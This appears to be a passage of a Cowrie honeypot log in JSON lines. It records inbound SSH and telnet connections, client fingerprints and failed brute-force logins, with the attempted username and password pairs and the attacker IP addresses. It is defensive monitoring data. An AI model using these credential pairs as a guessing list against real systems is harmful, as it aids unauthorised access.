{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":43570,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7f0b6be683a","protocol":"telnet","message":"New connection: 137.184.5.188:43570 (159.203.135.109:23) [session: e7f0b6be683a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:13.577792Z"}
{"eventid":"cowrie.session.closed","duration":90.3860297203064,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:14.244253Z","src_ip":"137.184.5.188","session":"a4c1d70fd2ad","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"cth","message":"login attempt [root/cth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:14.360883Z","src_ip":"103.82.20.28","session":"2e5ae9d371ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:15.626875Z","src_ip":"103.82.20.28","session":"2e5ae9d371ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":21328,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1ff2759a432","protocol":"ssh","message":"New connection: 147.45.199.80:21328 (10.17.0.5:22) [session: f1ff2759a432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:20.660547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:20.665259Z","src_ip":"147.45.199.80","session":"f1ff2759a432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:20.760035Z","src_ip":"147.45.199.80","session":"f1ff2759a432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nhfkzkz","message":"login attempt [root/nhfkzkz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:21.045611Z","src_ip":"147.45.199.80","session":"f1ff2759a432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:22.143898Z","src_ip":"147.45.199.80","session":"f1ff2759a432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:22.729083Z","src_ip":"101.126.22.12","session":"09d0ee03f4f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59190,"dst_ip":"159.203.135.109","dst_port":23,"session":"815d7f32ae0d","protocol":"telnet","message":"New connection: 170.64.224.25:59190 (159.203.135.109:23) [session: 815d7f32ae0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:31.040222Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34448,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9d7345db0c8","protocol":"telnet","message":"New connection: 170.64.224.25:34448 (159.203.135.109:23) [session: b9d7345db0c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:39.257786Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":59734,"dst_ip":"159.203.135.109","dst_port":22,"session":"58ed439b100d","protocol":"ssh","message":"New connection: 103.77.242.62:59734 (159.203.135.109:22) [session: 58ed439b100d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:40.516420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:40.520111Z","src_ip":"103.77.242.62","session":"58ed439b100d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.247.63.92","src_port":6798,"dst_ip":"10.17.0.5","dst_port":22,"session":"410661b7c92d","protocol":"ssh","message":"New connection: 180.247.63.92:6798 (10.17.0.5:22) [session: 410661b7c92d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:40.523718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:40.526658Z","src_ip":"180.247.63.92","session":"410661b7c92d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:40.758608Z","src_ip":"103.77.242.62","session":"58ed439b100d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:40.793112Z","src_ip":"180.247.63.92","session":"410661b7c92d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25091982","message":"login attempt [root/25091982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:41.477284Z","src_ip":"103.77.242.62","session":"58ed439b100d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd@2025","message":"login attempt [root/Passw0rd@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:41.881119Z","src_ip":"180.247.63.92","session":"410661b7c92d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:42.718521Z","src_ip":"103.77.242.62","session":"58ed439b100d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:43.150538Z","src_ip":"180.247.63.92","session":"410661b7c92d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":37962,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbe16b6e4472","protocol":"ssh","message":"New connection: 210.90.155.178:37962 (10.17.0.5:22) [session: bbe16b6e4472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:43.843017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:43.846204Z","src_ip":"210.90.155.178","session":"bbe16b6e4472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:44.049011Z","src_ip":"210.90.155.178","session":"bbe16b6e4472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.02363133430481,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:44.601308Z","src_ip":"137.184.5.188","session":"e7f0b6be683a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"4dm1n1str4t0r","message":"login attempt [administrator/4dm1n1str4t0r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:44.893565Z","src_ip":"210.90.155.178","session":"bbe16b6e4472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.105.39","src_port":36510,"dst_ip":"159.203.135.109","dst_port":22,"session":"a44804e2ffb7","protocol":"ssh","message":"New connection: 162.144.105.39:36510 (159.203.135.109:22) [session: a44804e2ffb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:45.754181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:45.758108Z","src_ip":"162.144.105.39","session":"a44804e2ffb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:45.846539Z","src_ip":"162.144.105.39","session":"a44804e2ffb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:46.098298Z","src_ip":"210.90.155.178","session":"bbe16b6e4472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"popcat","password":"popcat123","message":"login attempt [popcat/popcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:46.115822Z","src_ip":"162.144.105.39","session":"a44804e2ffb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:47.206267Z","src_ip":"162.144.105.39","session":"a44804e2ffb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.130.227.33","src_port":38294,"dst_ip":"10.17.0.5","dst_port":22,"session":"8511cb490671","protocol":"ssh","message":"New connection: 95.130.227.33:38294 (10.17.0.5:22) [session: 8511cb490671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:49.569397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:49.573024Z","src_ip":"95.130.227.33","session":"8511cb490671","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:49.736685Z","src_ip":"95.130.227.33","session":"8511cb490671","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mtm$%889*G*S3%G","message":"login attempt [root/Mtm$%889*G*S3%G] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:50.440575Z","src_ip":"95.130.227.33","session":"8511cb490671","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:51.607283Z","src_ip":"95.130.227.33","session":"8511cb490671","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":56518,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6fe2bcc8893","protocol":"telnet","message":"New connection: 170.64.224.25:56518 (159.203.135.109:23) [session: f6fe2bcc8893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:22:54.853797Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52412,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9c1d7c53953","protocol":"telnet","message":"New connection: 170.64.224.25:52412 (159.203.135.109:23) [session: c9c1d7c53953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:01.558308Z"}
{"eventid":"cowrie.session.closed","duration":120.00113081932068,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:01.957667Z","src_ip":"170.64.224.25","session":"ded4721f94c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.138.209.214","src_port":41786,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e9660ab42f7","protocol":"ssh","message":"New connection: 94.138.209.214:41786 (159.203.135.109:22) [session: 5e9660ab42f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:03.580409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:03.585133Z","src_ip":"94.138.209.214","session":"5e9660ab42f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:03.712921Z","src_ip":"94.138.209.214","session":"5e9660ab42f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yh@123456","message":"login attempt [root/Yh@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:04.252408Z","src_ip":"94.138.209.214","session":"5e9660ab42f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":43394,"dst_ip":"10.17.0.5","dst_port":22,"session":"31e070819c89","protocol":"ssh","message":"New connection: 213.202.230.81:43394 (10.17.0.5:22) [session: 31e070819c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:04.609138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:23:04.612825Z","src_ip":"213.202.230.81","session":"31e070819c89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"